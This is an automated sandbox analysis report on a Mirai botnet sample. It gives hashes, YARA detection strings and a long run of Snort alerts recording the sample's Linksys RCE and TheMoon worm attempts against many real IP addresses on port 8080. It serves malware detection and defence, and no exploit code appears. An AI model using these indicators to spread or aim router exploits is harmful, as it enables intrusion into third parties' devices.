Edit tour

Linux Analysis Report
ZhhHfkNewm.elf

Overview

General Information

Sample name:	ZhhHfkNewm.elf renamed because original name is a hash value
Original sample name:	b757694e98b44b2a21e5654c92c98826.elf
Analysis ID:	1365724
MD5:	b757694e98b44b2a21e5654c92c98826
SHA1:	9cb9a03cc21badd27f13ad7a09d44bb1bfb380a6
SHA256:	ce192327b8b13edbe3fd6b37c42b16bb0dc59951379fc25b8f6d92ed64e8cc84
Tags:	32elfmiraisparc
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Yara detected Mirai

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1365724
Start date and time:	2023-12-21 18:40:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	ZhhHfkNewm.elf renamed because original name is a hash value
Original Sample Name:	b757694e98b44b2a21e5654c92c98826.elf
Detection:	MAL
Classification:	mal80.troj.linELF@0/1@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: ZhhHfkNewm.elf

Runtime Messages

Command:	/tmp/ZhhHfkNewm.elf
PID:	6206
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	love you ~jun0
Standard Error:

Process Tree

system is lnxubuntu20

ZhhHfkNewm.elf (PID: 6206, Parent: 6124, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/ZhhHfkNewm.elf

ZhhHfkNewm.elf New Fork (PID: 6208, Parent: 6206)

ZhhHfkNewm.elf New Fork (PID: 6210, Parent: 6208)

ZhhHfkNewm.elf New Fork (PID: 6211, Parent: 6208)

ZhhHfkNewm.elf New Fork (PID: 6214, Parent: 6208)

ZhhHfkNewm.elf New Fork (PID: 6217, Parent: 6208)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
ZhhHfkNewm.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
ZhhHfkNewm.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
ZhhHfkNewm.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0xc470:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A

Memory Dumps

Source	Rule	Description	Author	Strings
6210.1.00007f19c8011000.00007f19c801f000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6210.1.00007f19c8011000.00007f19c801f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6210.1.00007f19c8011000.00007f19c801f000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0xc470:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
6206.1.00007f19c8011000.00007f19c801f000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6206.1.00007f19c8011000.00007f19c801f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6206.1.00007f19c8011000.00007f19c801f000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0xc470:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Click to see the 1 entries

Snort Signatures

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 91.228.46.89

Timestamp:	192.168.2.2391.228.46.895804680802027153 12/21/23-18:42:47.845347
SID:	2027153
Source Port:	58046
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 91.228.46.89

Timestamp:	192.168.2.2391.228.46.895804680802026102 12/21/23-18:42:47.845347
SID:	2026102
Source Port:	58046
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 154.9.60.52

Timestamp:	192.168.2.23154.9.60.524967880802027153 12/21/23-18:42:47.953556
SID:	2027153
Source Port:	49678
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 34.149.195.93

Timestamp:	192.168.2.2334.149.195.934757080802018132 12/21/23-18:41:55.116812
SID:	2018132
Source Port:	47570
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 109.247.109.52

Timestamp:	192.168.2.23109.247.109.524329480802018132 12/21/23-18:41:37.872194
SID:	2018132
Source Port:	43294
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 212.21.157.90

Timestamp:	192.168.2.23212.21.157.905989680802026102 12/21/23-18:41:11.082296
SID:	2026102
Source Port:	59896
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 203.234.50.155

Timestamp:	192.168.2.23203.234.50.1555502880802018132 12/21/23-18:41:08.603702
SID:	2018132
Source Port:	55028
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 154.9.60.52

Timestamp:	192.168.2.23154.9.60.524967880802026102 12/21/23-18:42:47.953556
SID:	2026102
Source Port:	49678
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 194.62.214.204

Timestamp:	192.168.2.23194.62.214.2044374080802026102 12/21/23-18:42:21.588714
SID:	2026102
Source Port:	43740
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 212.21.157.90

Timestamp:	192.168.2.23212.21.157.905989680802027153 12/21/23-18:41:11.082296
SID:	2027153
Source Port:	59896
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 87.237.122.61

Timestamp:	192.168.2.2387.237.122.613923280802018132 12/21/23-18:41:36.805206
SID:	2018132
Source Port:	39232
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 194.62.214.204

Timestamp:	192.168.2.23194.62.214.2044374080802027153 12/21/23-18:42:21.588714
SID:	2027153
Source Port:	43740
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 198.41.207.56

Timestamp:	192.168.2.23198.41.207.564495680802018132 12/21/23-18:40:56.502176
SID:	2018132
Source Port:	44956
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 162.186.4.131

Timestamp:	192.168.2.23162.186.4.1313667080802018132 12/21/23-18:41:31.240052
SID:	2018132
Source Port:	36670
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 115.74.135.254

Timestamp:	192.168.2.23115.74.135.2545506280802027153 12/21/23-18:41:10.920310
SID:	2027153
Source Port:	55062
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 146.148.249.114

Timestamp:	192.168.2.23146.148.249.1145534480802018132 12/21/23-18:41:27.705727
SID:	2018132
Source Port:	55344
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 115.74.135.254

Timestamp:	192.168.2.23115.74.135.2545506280802026102 12/21/23-18:41:10.920310
SID:	2026102
Source Port:	55062
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 80.152.249.78

Timestamp:	192.168.2.2380.152.249.785595680802018132 12/21/23-18:41:45.136361
SID:	2018132
Source Port:	55956
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 104.16.197.26

Timestamp:	192.168.2.23104.16.197.265383880802018132 12/21/23-18:42:32.302633
SID:	2018132
Source Port:	53838
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 84.231.177.107

Timestamp:	192.168.2.2384.231.177.1074206080802027153 12/21/23-18:41:44.581069
SID:	2027153
Source Port:	42060
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 14.74.41.139

Timestamp:	192.168.2.2314.74.41.1393875280802018132 12/21/23-18:42:19.160136
SID:	2018132
Source Port:	38752
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 118.58.31.78

Timestamp:	192.168.2.23118.58.31.784286280802026102 12/21/23-18:41:17.988159
SID:	2026102
Source Port:	42862
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 195.114.111.83

Timestamp:	192.168.2.23195.114.111.835289680802018132 12/21/23-18:41:08.343083
SID:	2018132
Source Port:	52896
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 84.231.177.107

Timestamp:	192.168.2.2384.231.177.1074206080802026102 12/21/23-18:41:44.581069
SID:	2026102
Source Port:	42060
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 195.114.111.83

Timestamp:	192.168.2.23195.114.111.835289680802027153 12/21/23-18:41:08.343083
SID:	2027153
Source Port:	52896
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 96.228.36.80

Timestamp:	192.168.2.2396.228.36.805364680802026102 12/21/23-18:42:19.974779
SID:	2026102
Source Port:	53646
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 195.114.111.83

Timestamp:	192.168.2.23195.114.111.835289680802026102 12/21/23-18:41:08.343083
SID:	2026102
Source Port:	52896
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 73.171.251.123

Timestamp:	192.168.2.2373.171.251.1233788480802018132 12/21/23-18:41:45.423583
SID:	2018132
Source Port:	37884
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 96.228.36.80

Timestamp:	192.168.2.2396.228.36.805364680802027153 12/21/23-18:42:19.974779
SID:	2027153
Source Port:	53646
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 20.157.191.178

Timestamp:	192.168.2.2320.157.191.1783469680802018132 12/21/23-18:41:54.182913
SID:	2018132
Source Port:	34696
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 91.228.46.89

Timestamp:	192.168.2.2391.228.46.895804680802018132 12/21/23-18:42:47.845347
SID:	2018132
Source Port:	58046
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 34.149.195.93

Timestamp:	192.168.2.2334.149.195.934757080802026102 12/21/23-18:41:55.116812
SID:	2026102
Source Port:	47570
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 34.149.195.93

Timestamp:	192.168.2.2334.149.195.934757080802027153 12/21/23-18:41:55.116812
SID:	2027153
Source Port:	47570
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 87.237.122.61

Timestamp:	192.168.2.2387.237.122.613923280802026102 12/21/23-18:41:36.805206
SID:	2026102
Source Port:	39232
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 156.96.234.189

Timestamp:	192.168.2.23156.96.234.1893363080802026102 12/21/23-18:41:46.750765
SID:	2026102
Source Port:	33630
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 69.87.220.246

Timestamp:	192.168.2.2369.87.220.2463506080802018132 12/21/23-18:41:17.814015
SID:	2018132
Source Port:	35060
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 166.253.31.110

Timestamp:	192.168.2.23166.253.31.1105539680802018132 12/21/23-18:42:21.664885
SID:	2018132
Source Port:	55396
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 182.172.28.37

Timestamp:	192.168.2.23182.172.28.374865080802027153 12/21/23-18:41:11.250606
SID:	2027153
Source Port:	48650
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 96.238.85.27

Timestamp:	192.168.2.2396.238.85.274991280802018132 12/21/23-18:41:18.805007
SID:	2018132
Source Port:	49912
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 156.96.234.189

Timestamp:	192.168.2.23156.96.234.1893363080802027153 12/21/23-18:41:46.750765
SID:	2027153
Source Port:	33630
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 45.55.196.121

Timestamp:	192.168.2.2345.55.196.1215668480802026102 12/21/23-18:41:00.108640
SID:	2026102
Source Port:	56684
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.82.250

Timestamp:	192.168.2.23172.65.82.2505411680802027153 12/21/23-18:42:11.595980
SID:	2027153
Source Port:	54116
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 87.237.122.61

Timestamp:	192.168.2.2387.237.122.613923280802027153 12/21/23-18:41:36.805206
SID:	2027153
Source Port:	39232
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 182.172.28.37

Timestamp:	192.168.2.23182.172.28.374865080802026102 12/21/23-18:41:11.250606
SID:	2026102
Source Port:	48650
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 185.172.33.194

Timestamp:	192.168.2.23185.172.33.1943932280802027153 12/21/23-18:41:31.514403
SID:	2027153
Source Port:	39322
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 96.3.116.23

Timestamp:	192.168.2.2396.3.116.233540080802027153 12/21/23-18:42:21.544385
SID:	2027153
Source Port:	35400
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 194.62.214.204

Timestamp:	192.168.2.23194.62.214.2044374080802018132 12/21/23-18:42:21.588714
SID:	2018132
Source Port:	43740
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 104.24.78.255

Timestamp:	192.168.2.23104.24.78.2553654280802027153 12/21/23-18:41:54.092461
SID:	2027153
Source Port:	36542
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 185.172.33.194

Timestamp:	192.168.2.23185.172.33.1943932280802026102 12/21/23-18:41:31.514403
SID:	2026102
Source Port:	39322
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 78.108.218.75

Timestamp:	192.168.2.2378.108.218.754297480802018132 12/21/23-18:41:24.286519
SID:	2018132
Source Port:	42974
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 104.24.78.255

Timestamp:	192.168.2.23104.24.78.2553654280802026102 12/21/23-18:41:54.092461
SID:	2026102
Source Port:	36542
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 104.206.34.237

Timestamp:	192.168.2.23104.206.34.2374960080802018132 12/21/23-18:41:17.810451
SID:	2018132
Source Port:	49600
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.82.250

Timestamp:	192.168.2.23172.65.82.2505411680802026102 12/21/23-18:42:11.595980
SID:	2026102
Source Port:	54116
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 118.82.125.228

Timestamp:	192.168.2.23118.82.125.2286030880802018132 12/21/23-18:41:10.811233
SID:	2018132
Source Port:	60308
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 96.3.116.23

Timestamp:	192.168.2.2396.3.116.233540080802026102 12/21/23-18:42:21.544385
SID:	2026102
Source Port:	35400
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 82.47.115.8

Timestamp:	192.168.2.2382.47.115.83591080802018132 12/21/23-18:40:55.358143
SID:	2018132
Source Port:	35910
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 104.16.197.26

Timestamp:	192.168.2.23104.16.197.265383880802027153 12/21/23-18:42:32.302633
SID:	2027153
Source Port:	53838
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 118.82.125.228

Timestamp:	192.168.2.23118.82.125.2286030880802026102 12/21/23-18:41:10.811233
SID:	2026102
Source Port:	60308
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 80.152.249.78

Timestamp:	192.168.2.2380.152.249.785595680802027153 12/21/23-18:41:45.136361
SID:	2027153
Source Port:	55956
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 78.108.218.75

Timestamp:	192.168.2.2378.108.218.754297480802027153 12/21/23-18:41:24.286519
SID:	2027153
Source Port:	42974
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 80.152.249.78

Timestamp:	192.168.2.2380.152.249.785595680802026102 12/21/23-18:41:45.136361
SID:	2026102
Source Port:	55956
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 20.157.191.178

Timestamp:	192.168.2.2320.157.191.1783469680802027153 12/21/23-18:41:54.182913
SID:	2027153
Source Port:	34696
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 146.70.52.237

Timestamp:	192.168.2.23146.70.52.2374833880802018132 12/21/23-18:40:59.797048
SID:	2018132
Source Port:	48338
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 82.47.115.8

Timestamp:	192.168.2.2382.47.115.83591080802026102 12/21/23-18:40:55.358143
SID:	2026102
Source Port:	35910
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 20.157.191.178

Timestamp:	192.168.2.2320.157.191.1783469680802026102 12/21/23-18:41:54.182913
SID:	2026102
Source Port:	34696
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 211.250.133.42

Timestamp:	192.168.2.23211.250.133.424649880802018132 12/21/23-18:41:08.285336
SID:	2018132
Source Port:	46498
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 82.47.115.8

Timestamp:	192.168.2.2382.47.115.83591080802027153 12/21/23-18:40:55.358143
SID:	2027153
Source Port:	35910
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 118.82.125.228

Timestamp:	192.168.2.23118.82.125.2286030880802027153 12/21/23-18:41:10.811233
SID:	2027153
Source Port:	60308
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 198.41.207.56

Timestamp:	192.168.2.23198.41.207.564495680802026102 12/21/23-18:40:56.502176
SID:	2026102
Source Port:	44956
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 198.41.207.56

Timestamp:	192.168.2.23198.41.207.564495680802027153 12/21/23-18:40:56.502176
SID:	2027153
Source Port:	44956
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO WORM ELF/TheMoon.Linksys Worm Activity (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.24.78.255

Timestamp:	192.168.2.23104.24.78.2553654280802842117 12/21/23-18:41:54.092461
SID:	2842117
Source Port:	36542
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 14.74.41.139

Timestamp:	192.168.2.2314.74.41.1393875280802026102 12/21/23-18:42:19.160136
SID:	2026102
Source Port:	38752
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 104.16.197.26

Timestamp:	192.168.2.23104.16.197.265383880802026102 12/21/23-18:42:32.302633
SID:	2026102
Source Port:	53838
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 45.55.196.121

Timestamp:	192.168.2.2345.55.196.1215668480802027153 12/21/23-18:41:00.108640
SID:	2027153
Source Port:	56684
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 180.81.166.121

Timestamp:	192.168.2.23180.81.166.1213502080802018132 12/21/23-18:41:17.989761
SID:	2018132
Source Port:	35020
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 162.186.4.131

Timestamp:	192.168.2.23162.186.4.1313667080802026102 12/21/23-18:41:31.240052
SID:	2026102
Source Port:	36670
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 182.172.28.37

Timestamp:	192.168.2.23182.172.28.374865080802018132 12/21/23-18:41:11.250606
SID:	2018132
Source Port:	48650
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 14.74.41.139

Timestamp:	192.168.2.2314.74.41.1393875280802027153 12/21/23-18:42:19.160136
SID:	2027153
Source Port:	38752
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 162.186.4.131

Timestamp:	192.168.2.23162.186.4.1313667080802027153 12/21/23-18:41:31.240052
SID:	2027153
